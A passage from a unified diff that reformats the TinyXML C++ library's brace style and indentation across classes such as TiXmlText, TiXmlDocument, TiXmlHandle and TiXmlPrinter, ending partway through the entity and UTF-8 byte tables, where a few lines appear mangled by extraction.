encoded text. If you want it be output as a CDATA text + element, set the parameter _cdata to 'true' + */ + TiXmlText (const char * initValue ) : TiXmlNode (TiXmlNode::TINYXML_TEXT) { + SetValue( initValue ); + cdata = false; + } + virtual ~TiXmlText() {} - #ifdef TIXML_USE_STL - /// Constructor. - TiXmlText( const std::string& initValue ) : TiXmlNode (TiXmlNode::TINYXML_TEXT) - { - SetValue( initValue ); - cdata = false; - } - #endif +#ifdef TIXML_USE_STL + /// Constructor. + TiXmlText( const std::string& initValue ) : TiXmlNode (TiXmlNode::TINYXML_TEXT) { + SetValue( initValue ); + cdata = false; + } +#endif - TiXmlText( const TiXmlText& copy ) : TiXmlNode( TiXmlNode::TINYXML_TEXT ) { copy.CopyTo( this ); } - TiXmlText& operator=( const TiXmlText& base ) { base.CopyTo( this ); return *this; } + TiXmlText( const TiXmlText& copy ) : TiXmlNode( TiXmlNode::TINYXML_TEXT ) { + copy.CopyTo( this ); + } + TiXmlText& operator=( const TiXmlText& base ) { + base.CopyTo( this ); + return *this; + } - // Write this text object to a FILE stream. - virtual void Print( FILE* cfile, int depth ) const; + // Write this text object to a FILE stream. + virtual void Print( FILE* cfile, int depth ) const; - /// Queries whether this represents text using a CDATA section. - bool CDATA() const { return cdata; } - /// Turns on or off a CDATA representation of text. - void SetCDATA( bool _cdata ) { cdata = _cdata; } + /// Queries whether this represents text using a CDATA section. + bool CDATA() const { + return cdata; + } + /// Turns on or off a CDATA representation of text. + void SetCDATA( bool _cdata ) { + cdata = _cdata; + } - virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); + virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); - virtual const TiXmlText* ToText() const { return this; } ///< Cast to a more defined type. Will return null not of the requested type. - virtual TiXmlText* ToText() { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + virtual const TiXmlText* ToText() const { + return this; ///< Cast to a more defined type. Will return null not of the requested type. + } + virtual TiXmlText* ToText() { + return this; ///< Cast to a more defined type. Will return null not of the requested type. + } - /** Walk the XML tree visiting this node and all of its children. - */ - virtual bool Accept( TiXmlVisitor* content ) const; + /** Walk the XML tree visiting this node and all of its children. + */ + virtual bool Accept( TiXmlVisitor* content ) const; protected : - /// [internal use] Creates a new Element and returns it. - virtual TiXmlNode* Clone() const; - void CopyTo( TiXmlText* target ) const; + /// [internal use] Creates a new Element and returns it. + virtual TiXmlNode* Clone() const; + void CopyTo( TiXmlText* target ) const; - bool Blank() const; // returns true if all white space and new lines - // [internal use] - #ifdef TIXML_USE_STL - virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); - #endif + bool Blank() const; // returns true if all white space and new lines + // [internal use] +#ifdef TIXML_USE_STL + virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); +#endif private: - bool cdata; // true if this should be input and output as a CDATA style text element + bool cdata; // true if this should be input and output as a CDATA style text element }; @@ -1284,65 +1431,74 @@ private: handled as special cases, not generic attributes, simply because there can only be at most 3 and they are always the same. */ -class TiXmlDeclaration : public TiXmlNode -{ +class TiXmlDeclaration : public TiXmlNode { public: - /// Construct an empty declaration. - TiXmlDeclaration() : TiXmlNode( TiXmlNode::TINYXML_DECLARATION ) {} + /// Construct an empty declaration. + TiXmlDeclaration() : TiXmlNode( TiXmlNode::TINYXML_DECLARATION ) {} #ifdef TIXML_USE_STL - /// Constructor. - TiXmlDeclaration( const std::string& _version, - const std::string& _encoding, - const std::string& _standalone ); + /// Constructor. + TiXmlDeclaration( const std::string& _version, + const std::string& _encoding, + const std::string& _standalone ); #endif - /// Construct. - TiXmlDeclaration( const char* _version, - const char* _encoding, - const char* _standalone ); + /// Construct. + TiXmlDeclaration( const char* _version, + const char* _encoding, + const char* _standalone ); - TiXmlDeclaration( const TiXmlDeclaration& copy ); - TiXmlDeclaration& operator=( const TiXmlDeclaration& copy ); + TiXmlDeclaration( const TiXmlDeclaration& copy ); + TiXmlDeclaration& operator=( const TiXmlDeclaration& copy ); - virtual ~TiXmlDeclaration() {} + virtual ~TiXmlDeclaration() {} - /// Version. Will return an empty string if none was found. - const char *Version() const { return version.c_str (); } - /// Encoding. Will return an empty string if none was found. - const char *Encoding() const { return encoding.c_str (); } - /// Is this a standalone document? - const char *Standalone() const { return standalone.c_str (); } + /// Version. Will return an empty string if none was found. + const char *Version() const { + return version.c_str (); + } + /// Encoding. Will return an empty string if none was found. + const char *Encoding() const { + return encoding.c_str (); + } + /// Is this a standalone document? + const char *Standalone() const { + return standalone.c_str (); + } - /// Creates a copy of this Declaration and returns it. - virtual TiXmlNode* Clone() const; - // Print this declaration to a FILE stream. - virtual void Print( FILE* cfile, int depth, TIXML_STRING* str ) const; - virtual void Print( FILE* cfile, int depth ) const { - Print( cfile, depth, 0 ); - } + /// Creates a copy of this Declaration and returns it. + virtual TiXmlNode* Clone() const; + // Print this declaration to a FILE stream. + virtual void Print( FILE* cfile, int depth, TIXML_STRING* str ) const; + virtual void Print( FILE* cfile, int depth ) const { + Print( cfile, depth, 0 ); + } - virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); + virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); - virtual const TiXmlDeclaration* ToDeclaration() const { return this; } ///< Cast to a more defined type. Will return null not of the requested type. - virtual TiXmlDeclaration* ToDeclaration() { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + virtual const TiXmlDeclaration* ToDeclaration() const { + return this; ///< Cast to a more defined type. Will return null not of the requested type. + } + virtual TiXmlDeclaration* ToDeclaration() { + return this; ///< Cast to a more defined type. Will return null not of the requested type. + } - /** Walk the XML tree visiting this node and all of its children. - */ - virtual bool Accept( TiXmlVisitor* visitor ) const; + /** Walk the XML tree visiting this node and all of its children. + */ + virtual bool Accept( TiXmlVisitor* visitor ) const; protected: - void CopyTo( TiXmlDeclaration* target ) const; - // used to be public - #ifdef TIXML_USE_STL - virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); - #endif + void CopyTo( TiXmlDeclaration* target ) const; + // used to be public +#ifdef TIXML_USE_STL + virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); +#endif private: - TIXML_STRING version; - TIXML_STRING encoding; - TIXML_STRING standalone; + TIXML_STRING version; + TIXML_STRING encoding; + TIXML_STRING standalone; }; @@ -1353,35 +1509,43 @@ private: DTD tags get thrown into TiXmlUnknowns. */ -class TiXmlUnknown : public TiXmlNode -{ +class TiXmlUnknown : public TiXmlNode { public: - TiXmlUnknown() : TiXmlNode( TiXmlNode::TINYXML_UNKNOWN ) {} - virtual ~TiXmlUnknown() {} + TiXmlUnknown() : TiXmlNode( TiXmlNode::TINYXML_UNKNOWN ) {} + virtual ~TiXmlUnknown() {} - TiXmlUnknown( const TiXmlUnknown& copy ) : TiXmlNode( TiXmlNode::TINYXML_UNKNOWN ) { copy.CopyTo( this ); } - TiXmlUnknown& operator=( const TiXmlUnknown& copy ) { copy.CopyTo( this ); return *this; } + TiXmlUnknown( const TiXmlUnknown& copy ) : TiXmlNode( TiXmlNode::TINYXML_UNKNOWN ) { + copy.CopyTo( this ); + } + TiXmlUnknown& operator=( const TiXmlUnknown& copy ) { + copy.CopyTo( this ); + return *this; + } - /// Creates a copy of this Unknown and returns it. - virtual TiXmlNode* Clone() const; - // Print this Unknown to a FILE stream. - virtual void Print( FILE* cfile, int depth ) const; + /// Creates a copy of this Unknown and returns it. + virtual TiXmlNode* Clone() const; + // Print this Unknown to a FILE stream. + virtual void Print( FILE* cfile, int depth ) const; - virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); + virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); - virtual const TiXmlUnknown* ToUnknown() const { return this; } ///< Cast to a more defined type. Will return null not of the requested type. - virtual TiXmlUnknown* ToUnknown() { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + virtual const TiXmlUnknown* ToUnknown() const { + return this; ///< Cast to a more defined type. Will return null not of the requested type. + } + virtual TiXmlUnknown* ToUnknown() { + return this; ///< Cast to a more defined type. Will return null not of the requested type. + } - /** Walk the XML tree visiting this node and all of its children. - */ - virtual bool Accept( TiXmlVisitor* content ) const; + /** Walk the XML tree visiting this node and all of its children. + */ + virtual bool Accept( TiXmlVisitor* content ) const; protected: - void CopyTo( TiXmlUnknown* target ) const; + void CopyTo( TiXmlUnknown* target ) const; - #ifdef TIXML_USE_STL - virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); - #endif +#ifdef TIXML_USE_STL + virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); +#endif private: @@ -1392,168 +1556,190 @@ private: XML pieces. It can be saved, loaded, and printed to the screen. The 'value' of a document node is the xml file name. */ -class TiXmlDocument : public TiXmlNode -{ +class TiXmlDocument : public TiXmlNode { public: - /// Create an empty document, that has no name. - TiXmlDocument(); - /// Create a document with a name. The name of the document is also the filename of the xml. - TiXmlDocument( const char * documentName ); + /// Create an empty document, that has no name. + TiXmlDocument(); + /// Create a document with a name. The name of the document is also the filename of the xml. + TiXmlDocument( const char * documentName ); - #ifdef TIXML_USE_STL - /// Constructor. - TiXmlDocument( const std::string& documentName ); - #endif +#ifdef TIXML_USE_STL + /// Constructor. + TiXmlDocument( const std::string& documentName ); +#endif - TiXmlDocument( const TiXmlDocument& copy ); - TiXmlDocument& operator=( const TiXmlDocument& copy ); + TiXmlDocument( const TiXmlDocument& copy ); + TiXmlDocument& operator=( const TiXmlDocument& copy ); - virtual ~TiXmlDocument() {} + virtual ~TiXmlDocument() {} - /** Load a file using the current document value. - Returns true if successful. Will delete any existing - document data before loading. - */ - bool LoadFile( TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ); - /// Save a file using the current document value. Returns true if successful. - bool SaveFile() const; - /// Load a file using the given filename. Returns true if successful. - bool LoadFile( const char * filename, TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ); - /// Save a file using the given filename. Returns true if successful. - bool SaveFile( const char * filename ) const; - /** Load a file using the given FILE*. Returns true if successful. Note that this method - doesn't stream - the entire object pointed at by the FILE* - will be interpreted as an XML file. TinyXML doesn't stream in XML from the current - file location. Streaming may be added in the future. - */ - bool LoadFile( FILE*, TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ); - /// Save a file using the given FILE*. Returns true if successful. - bool SaveFile( FILE* ) const; + /** Load a file using the current document value. + Returns true if successful. Will delete any existing + document data before loading. + */ + bool LoadFile( TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ); + /// Save a file using the current document value. Returns true if successful. + bool SaveFile() const; + /// Load a file using the given filename. Returns true if successful. + bool LoadFile( const char * filename, TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ); + /// Save a file using the given filename. Returns true if successful. + bool SaveFile( const char * filename ) const; + /** Load a file using the given FILE*. Returns true if successful. Note that this method + doesn't stream - the entire object pointed at by the FILE* + will be interpreted as an XML file. TinyXML doesn't stream in XML from the current + file location. Streaming may be added in the future. + */ + bool LoadFile( FILE*, TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ); + /// Save a file using the given FILE*. Returns true if successful. + bool SaveFile( FILE* ) const; - #ifdef TIXML_USE_STL - bool LoadFile( const std::string& filename, TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ) ///< STL std::string version. - { - return LoadFile( filename.c_str(), encoding ); - } - bool SaveFile( const std::string& filename ) const ///< STL std::string version. - { - return SaveFile( filename.c_str() ); - } - #endif +#ifdef TIXML_USE_STL + bool LoadFile( const std::string& filename, TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ) { ///< STL std::string version. + return LoadFile( filename.c_str(), encoding ); + } + bool SaveFile( const std::string& filename ) const { ///< STL std::string version. + return SaveFile( filename.c_str() ); + } +#endif - /** Parse the given null terminated block of xml data. Passing in an encoding to this - method (either TIXML_ENCODING_LEGACY or TIXML_ENCODING_UTF8 will force TinyXml - to use that encoding, regardless of what TinyXml might otherwise try to detect. - */ - virtual const char* Parse( const char* p, TiXmlParsingData* data = 0, TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ); + /** Parse the given null terminated block of xml data. Passing in an encoding to this + method (either TIXML_ENCODING_LEGACY or TIXML_ENCODING_UTF8 will force TinyXml + to use that encoding, regardless of what TinyXml might otherwise try to detect. + */ + virtual const char* Parse( const char* p, TiXmlParsingData* data = 0, TiXmlEncoding encoding = TIXML_DEFAULT_ENCODING ); - /** Get the root element -- the only top level element -- of the document. - In well formed XML, there should only be one. TinyXml is tolerant of - multiple elements at the document level. - */ - const TiXmlElement* RootElement() const { return FirstChildElement(); } - TiXmlElement* RootElement() { return FirstChildElement(); } + /** Get the root element -- the only top level element -- of the document. + In well formed XML, there should only be one. TinyXml is tolerant of + multiple elements at the document level. + */ + const TiXmlElement* RootElement() const { + return FirstChildElement(); + } + TiXmlElement* RootElement() { + return FirstChildElement(); + } - /** If an error occurs, Error will be set to true. Also, - - The ErrorId() will contain the integer identifier of the error (not generally useful) - - The ErrorDesc() method will return the name of the error. (very useful) - - The ErrorRow() and ErrorCol() will return the location of the error (if known) - */ - bool Error() const { return error; } + /** If an error occurs, Error will be set to true. Also, + - The ErrorId() will contain the integer identifier of the error (not generally useful) + - The ErrorDesc() method will return the name of the error. (very useful) + - The ErrorRow() and ErrorCol() will return the location of the error (if known) + */ + bool Error() const { + return error; + } - /// Contains a textual (english) description of the error if one occurs. - const char * ErrorDesc() const { return errorDesc.c_str (); } + /// Contains a textual (english) description of the error if one occurs. + const char * ErrorDesc() const { + return errorDesc.c_str (); + } - /** Generally, you probably want the error string ( ErrorDesc() ). But if you - prefer the ErrorId, this function will fetch it. - */ - int ErrorId() const { return errorId; } + /** Generally, you probably want the error string ( ErrorDesc() ). But if you + prefer the ErrorId, this function will fetch it. + */ + int ErrorId() const { + return errorId; + } - /** Returns the location (if known) of the error. The first column is column 1, - and the first row is row 1. A value of 0 means the row and column wasn't applicable - (memory errors, for example, have no row/column) or the parser lost the error. (An - error in the error reporting, in that case.) + /** Returns the location (if known) of the error. The first column is column 1, + and the first row is row 1. A value of 0 means the row and column wasn't applicable + (memory errors, for example, have no row/column) or the parser lost the error. (An + error in the error reporting, in that case.) - @sa SetTabSize, Row, Column - */ - int ErrorRow() const { return errorLocation.row+1; } - int ErrorCol() const { return errorLocation.col+1; } ///< The column where the error occured. See ErrorRow() + @sa SetTabSize, Row, Column + */ + int ErrorRow() const { + return errorLocation.row+1; + } + int ErrorCol() const { + return errorLocation.col+1; ///< The column where the error occured. See ErrorRow() + } - /** SetTabSize() allows the error reporting functions (ErrorRow() and ErrorCol()) - to report the correct values for row and column. It does not change the output - or input in any way. + /** SetTabSize() allows the error reporting functions (ErrorRow() and ErrorCol()) + to report the correct values for row and column. It does not change the output + or input in any way. - By calling this method, with a tab size - greater than 0, the row and column of each node and attribute is stored - when the file is loaded. Very useful for tracking the DOM back in to - the source file. + By calling this method, with a tab size + greater than 0, the row and column of each node and attribute is stored + when the file is loaded. Very useful for tracking the DOM back in to + the source file. - The tab size is required for calculating the location of nodes. If not - set, the default of 4 is used. The tabsize is set per document. Setting - the tabsize to 0 disables row/column tracking. + The tab size is required for calculating the location of nodes. If not + set, the default of 4 is used. The tabsize is set per document. Setting + the tabsize to 0 disables row/column tracking. - Note that row and column tracking is not supported when using operator>>. + Note that row and column tracking is not supported when using operator>>. - The tab size needs to be enabled before the parse or load. Correct usage: - @verbatim - TiXmlDocument doc; - doc.SetTabSize( 8 ); - doc.Load( "myfile.xml" ); - @endverbatim + The tab size needs to be enabled before the parse or load. Correct usage: + @verbatim + TiXmlDocument doc; + doc.SetTabSize( 8 ); + doc.Load( "myfile.xml" ); + @endverbatim - @sa Row, Column - */ - void SetTabSize( int _tabsize ) { tabsize = _tabsize; } + @sa Row, Column + */ + void SetTabSize( int _tabsize ) { + tabsize = _tabsize; + } - int TabSize() const { return tabsize; } + int TabSize() const { + return tabsize; + } - /** If you have handled the error, it can be reset with this call. The error - state is automatically cleared if you Parse a new XML block. - */ - void ClearError() { error = false; - errorId = 0; - errorDesc = ""; - errorLocation.row = errorLocation.col = 0; - //errorLocation.last = 0; - } + /** If you have handled the error, it can be reset with this call. The error + state is automatically cleared if you Parse a new XML block. + */ + void ClearError() { + error = false; + errorId = 0; + errorDesc = ""; + errorLocation.row = errorLocation.col = 0; + //errorLocation.last = 0; + } - /** Write the document to standard out using formatted printing ("pretty print"). */ - void Print() const { Print( stdout, 0 ); } + /** Write the document to standard out using formatted printing ("pretty print"). */ + void Print() const { + Print( stdout, 0 ); + } - /* Write the document to a string using formatted printing ("pretty print"). This - will allocate a character array (new char[]) and return it as a pointer. The - calling code pust call delete[] on the return char* to avoid a memory leak. - */ - //char* PrintToMemory() const; + /* Write the document to a string using formatted printing ("pretty print"). This + will allocate a character array (new char[]) and return it as a pointer. The + calling code pust call delete[] on the return char* to avoid a memory leak. + */ + //char* PrintToMemory() const; - /// Print this Document to a FILE stream. - virtual void Print( FILE* cfile, int depth = 0 ) const; - // [internal use] - void SetError( int err, const char* errorLocation, TiXmlParsingData* prevData, TiXmlEncoding encoding ); + /// Print this Document to a FILE stream. + virtual void Print( FILE* cfile, int depth = 0 ) const; + // [internal use] + void SetError( int err, const char* errorLocation, TiXmlParsingData* prevData, TiXmlEncoding encoding ); - virtual const TiXmlDocument* ToDocument() const { return this; } ///< Cast to a more defined type. Will return null not of the requested type. - virtual TiXmlDocument* ToDocument() { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + virtual const TiXmlDocument* ToDocument() const { + return this; ///< Cast to a more defined type. Will return null not of the requested type. + } + virtual TiXmlDocument* ToDocument() { + return this; ///< Cast to a more defined type. Will return null not of the requested type. + } - /** Walk the XML tree visiting this node and all of its children. - */ - virtual bool Accept( TiXmlVisitor* content ) const; + /** Walk the XML tree visiting this node and all of its children. + */ + virtual bool Accept( TiXmlVisitor* content ) const; protected : - // [internal use] - virtual TiXmlNode* Clone() const; - #ifdef TIXML_USE_STL - virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); - #endif + // [internal use] + virtual TiXmlNode* Clone() const; +#ifdef TIXML_USE_STL + virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); +#endif private: - void CopyTo( TiXmlDocument* target ) const; + void CopyTo( TiXmlDocument* target ) const; - bool error; - int errorId; - TIXML_STRING errorDesc; - int tabsize; - TiXmlCursor errorLocation; - bool useMicrosoftBOM; // the UTF-8 BOM were found when read. Note this, and try to write. + bool error; + int errorId; + TIXML_STRING errorDesc; + int tabsize; + TiXmlCursor errorLocation; + bool useMicrosoftBOM; // the UTF-8 BOM were found when read. Note this, and try to write. }; @@ -1637,83 +1823,114 @@ private: } @endverbatim */ -class TiXmlHandle -{ +class TiXmlHandle { public: - /// Create a handle from any node (at any depth of the tree.) This can be a null pointer. - TiXmlHandle( TiXmlNode* _node ) { this->node = _node; } - /// Copy constructor - TiXmlHandle( const TiXmlHandle& ref ) { this->node = ref.node; } - TiXmlHandle operator=( const TiXmlHandle& ref ) { if ( &ref != this ) this->node = ref.node; return *this; } + /// Create a handle from any node (at any depth of the tree.) This can be a null pointer. + TiXmlHandle( TiXmlNode* _node ) { + this->node = _node; + } + /// Copy constructor + TiXmlHandle( const TiXmlHandle& ref ) { + this->node = ref.node; + } + TiXmlHandle operator=( const TiXmlHandle& ref ) { + if ( &ref != this ) + this->node = ref.node; + return *this; + } - /// Return a handle to the first child node. - TiXmlHandle FirstChild() const; - /// Return a handle to the first child node with the given name. - TiXmlHandle FirstChild( const char * value ) const; - /// Return a handle to the first child element. - TiXmlHandle FirstChildElement() const; - /// Return a handle to the first child element with the given name. - TiXmlHandle FirstChildElement( const char * value ) const; + /// Return a handle to the first child node. + TiXmlHandle FirstChild() const; + /// Return a handle to the first child node with the given name. + TiXmlHandle FirstChild( const char * value ) const; + /// Return a handle to the first child element. + TiXmlHandle FirstChildElement() const; + /// Return a handle to the first child element with the given name. + TiXmlHandle FirstChildElement( const char * value ) const; - /** Return a handle to the "index" child with the given name. - The first child is 0, the second 1, etc. - */ - TiXmlHandle Child( const char* value, int index ) const; - /** Return a handle to the "index" child. - The first child is 0, the second 1, etc. - */ - TiXmlHandle Child( int index ) const; - /** Return a handle to the "index" child element with the given name. - The first child element is 0, the second 1, etc. Note that only TiXmlElements - are indexed: other types are not counted. - */ - TiXmlHandle ChildElement( const char* value, int index ) const; - /** Return a handle to the "index" child element. - The first child element is 0, the second 1, etc. Note that only TiXmlElements - are indexed: other types are not counted. - */ - TiXmlHandle ChildElement( int index ) const; + /** Return a handle to the "index" child with the given name. + The first child is 0, the second 1, etc. + */ + TiXmlHandle Child( const char* value, int index ) const; + /** Return a handle to the "index" child. + The first child is 0, the second 1, etc. + */ + TiXmlHandle Child( int index ) const; + /** Return a handle to the "index" child element with the given name. + The first child element is 0, the second 1, etc. Note that only TiXmlElements + are indexed: other types are not counted. + */ + TiXmlHandle ChildElement( const char* value, int index ) const; + /** Return a handle to the "index" child element. + The first child element is 0, the second 1, etc. Note that only TiXmlElements + are indexed: other types are not counted. + */ + TiXmlHandle ChildElement( int index ) const; - #ifdef TIXML_USE_STL - TiXmlHandle FirstChild( const std::string& _value ) const { return FirstChild( _value.c_str() ); } - TiXmlHandle FirstChildElement( const std::string& _value ) const { return FirstChildElement( _value.c_str() ); } +#ifdef TIXML_USE_STL + TiXmlHandle FirstChild( const std::string& _value ) const { + return FirstChild( _value.c_str() ); + } + TiXmlHandle FirstChildElement( const std::string& _value ) const { + return FirstChildElement( _value.c_str() ); + } - TiXmlHandle Child( const std::string& _value, int index ) const { return Child( _value.c_str(), index ); } - TiXmlHandle ChildElement( const std::string& _value, int index ) const { return ChildElement( _value.c_str(), index ); } - #endif + TiXmlHandle Child( const std::string& _value, int index ) const { + return Child( _value.c_str(), index ); + } + TiXmlHandle ChildElement( const std::string& _value, int index ) const { + return ChildElement( _value.c_str(), index ); + } +#endif - /** Return the handle as a TiXmlNode. This may return null. - */ - TiXmlNode* ToNode() const { return node; } - /** Return the handle as a TiXmlElement. This may return null. - */ - TiXmlElement* ToElement() const { return ( ( node && node->ToElement() ) ? node->ToElement() : 0 ); } - /** Return the handle as a TiXmlText. This may return null. - */ - TiXmlText* ToText() const { return ( ( node && node->ToText() ) ? node->ToText() : 0 ); } - /** Return the handle as a TiXmlUnknown. This may return null. - */ - TiXmlUnknown* ToUnknown() const { return ( ( node && node->ToUnknown() ) ? node->ToUnknown() : 0 ); } + /** Return the handle as a TiXmlNode. This may return null. + */ + TiXmlNode* ToNode() const { + return node; + } + /** Return the handle as a TiXmlElement. This may return null. + */ + TiXmlElement* ToElement() const { + return ( ( node && node->ToElement() ) ? node->ToElement() : 0 ); + } + /** Return the handle as a TiXmlText. This may return null. + */ + TiXmlText* ToText() const { + return ( ( node && node->ToText() ) ? node->ToText() : 0 ); + } + /** Return the handle as a TiXmlUnknown. This may return null. + */ + TiXmlUnknown* ToUnknown() const { + return ( ( node && node->ToUnknown() ) ? node->ToUnknown() : 0 ); + } - /** @deprecated use ToNode. - Return the handle as a TiXmlNode. This may return null. - */ - TiXmlNode* Node() const { return ToNode(); } - /** @deprecated use ToElement. - Return the handle as a TiXmlElement. This may return null. - */ - TiXmlElement* Element() const { return ToElement(); } - /** @deprecated use ToText() - Return the handle as a TiXmlText. This may return null. - */ - TiXmlText* Text() const { return ToText(); } - /** @deprecated use ToUnknown() - Return the handle as a TiXmlUnknown. This may return null. - */ - TiXmlUnknown* Unknown() const { return ToUnknown(); } + /** @deprecated use ToNode. + Return the handle as a TiXmlNode. This may return null. + */ + TiXmlNode* Node() const { + return ToNode(); + } + /** @deprecated use ToElement. + Return the handle as a TiXmlElement. This may return null. + */ + TiXmlElement* Element() const { + return ToElement(); + } + /** @deprecated use ToText() + Return the handle as a TiXmlText. This may return null. + */ + TiXmlText* Text() const { + return ToText(); + } + /** @deprecated use ToUnknown() + Return the handle as a TiXmlUnknown. This may return null. + */ + TiXmlUnknown* Unknown() const { + return ToUnknown(); + } private: - TiXmlNode* node; + TiXmlNode* node; }; @@ -1736,67 +1953,81 @@ private: fprintf( stdout, "%s", printer.CStr() ); @endverbatim */ -class TiXmlPrinter : public TiXmlVisitor -{ +class TiXmlPrinter : public TiXmlVisitor { public: - TiXmlPrinter() : depth( 0 ), simpleTextPrint( false ), - buffer(), indent( " " ), lineBreak( "\n" ) {} + TiXmlPrinter() : depth( 0 ), simpleTextPrint( false ), + buffer(), indent( " " ), lineBreak( "\n" ) {} - virtual bool VisitEnter( const TiXmlDocument& doc ); - virtual bool VisitExit( const TiXmlDocument& doc ); + virtual bool VisitEnter( const TiXmlDocument& doc ); + virtual bool VisitExit( const TiXmlDocument& doc ); - virtual bool VisitEnter( const TiXmlElement& element, const TiXmlAttribute* firstAttribute ); - virtual bool VisitExit( const TiXmlElement& element ); + virtual bool VisitEnter( const TiXmlElement& element, const TiXmlAttribute* firstAttribute ); + virtual bool VisitExit( const TiXmlElement& element ); - virtual bool Visit( const TiXmlDeclaration& declaration ); - virtual bool Visit( const TiXmlText& text ); - virtual bool Visit( const TiXmlComment& comment ); - virtual bool Visit( const TiXmlUnknown& unknown ); + virtual bool Visit( const TiXmlDeclaration& declaration ); + virtual bool Visit( const TiXmlText& text ); + virtual bool Visit( const TiXmlComment& comment ); + virtual bool Visit( const TiXmlUnknown& unknown ); - /** Set the indent characters for printing. By default 4 spaces - but tab (\t) is also useful, or null/empty string for no indentation. - */ - void SetIndent( const char* _indent ) { indent = _indent ? _indent : "" ; } - /// Query the indention string. - const char* Indent() { return indent.c_str(); } - /** Set the line breaking string. By default set to newline (\n). - Some operating systems prefer other characters, or can be - set to the null/empty string for no indenation. - */ - void SetLineBreak( const char* _lineBreak ) { lineBreak = _lineBreak ? _lineBreak : ""; } - /// Query the current line breaking string. - const char* LineBreak() { return lineBreak.c_str(); } + /** Set the indent characters for printing. By default 4 spaces + but tab (\t) is also useful, or null/empty string for no indentation. + */ + void SetIndent( const char* _indent ) { + indent = _indent ? _indent : "" ; + } + /// Query the indention string. + const char* Indent() { + return indent.c_str(); + } + /** Set the line breaking string. By default set to newline (\n). + Some operating systems prefer other characters, or can be + set to the null/empty string for no indenation. + */ + void SetLineBreak( const char* _lineBreak ) { + lineBreak = _lineBreak ? _lineBreak : ""; + } + /// Query the current line breaking string. + const char* LineBreak() { + return lineBreak.c_str(); + } - /** Switch over to "stream printing" which is the most dense formatting without - linebreaks. Common when the XML is needed for network transmission. - */ - void SetStreamPrinting() { indent = ""; - lineBreak = ""; - } - /// Return the result. - const char* CStr() { return buffer.c_str(); } - /// Return the length of the result string. - size_t Size() { return buffer.size(); } + /** Switch over to "stream printing" which is the most dense formatting without + linebreaks. Common when the XML is needed for network transmission. + */ + void SetStreamPrinting() { + indent = ""; + lineBreak = ""; + } + /// Return the result. + const char* CStr() { + return buffer.c_str(); + } + /// Return the length of the result string. + size_t Size() { + return buffer.size(); + } - #ifdef TIXML_USE_STL - /// Return the result. - const std::string& Str() { return buffer; } - #endif +#ifdef TIXML_USE_STL + /// Return the result. + const std::string& Str() { + return buffer; + } +#endif private: - void DoIndent() { - for( int i=0; i' }, - { """, 6, '\"' }, - { "'", 6, '\'' } +TiXmlBase::Entity TiXmlBase::entity[ TiXmlBase::NUM_ENTITY ] = { + { "&", 5, '&' }, + { "<", 4, '<' }, + { ">", 4, '>' }, + { """, 6, '\"' }, + { "'", 6, '\'' } }; // Bunch of unicode info at: @@ -63,82 +62,80 @@ const unsigned char TIXML_UTF_LEAD_0 = 0xefU; const unsigned char TIXML_UTF_LEAD_1 = 0xbbU; const unsigned char TIXML_UTF_LEAD_2 = 0xbfU; -const int TiXmlBase::utf8ByteTable[256] = -{ - // 0 1 2 3 4 5 6 7 8 9 a b c d e f - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x00 - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x10 - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x20 - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x30 - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x40 - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x50 - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x60 - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x70 End of ASCII range - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x80 0x80 to 0xc1 invalid - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x90 - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0xa0 - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0xb0 - 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, // 0xc0 0xc2 to 0xdf 2 byte - 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, // 0xd0 - 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, // 0xe0 0xe0 to 0xef 3 byte - 4, 4, 4, 4, 4, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 // 0xf0 0xf0 to 0xf4 4 byte, 0xf5 and higher invalid +const int TiXmlBase::utf8ByteTable[256] = { + 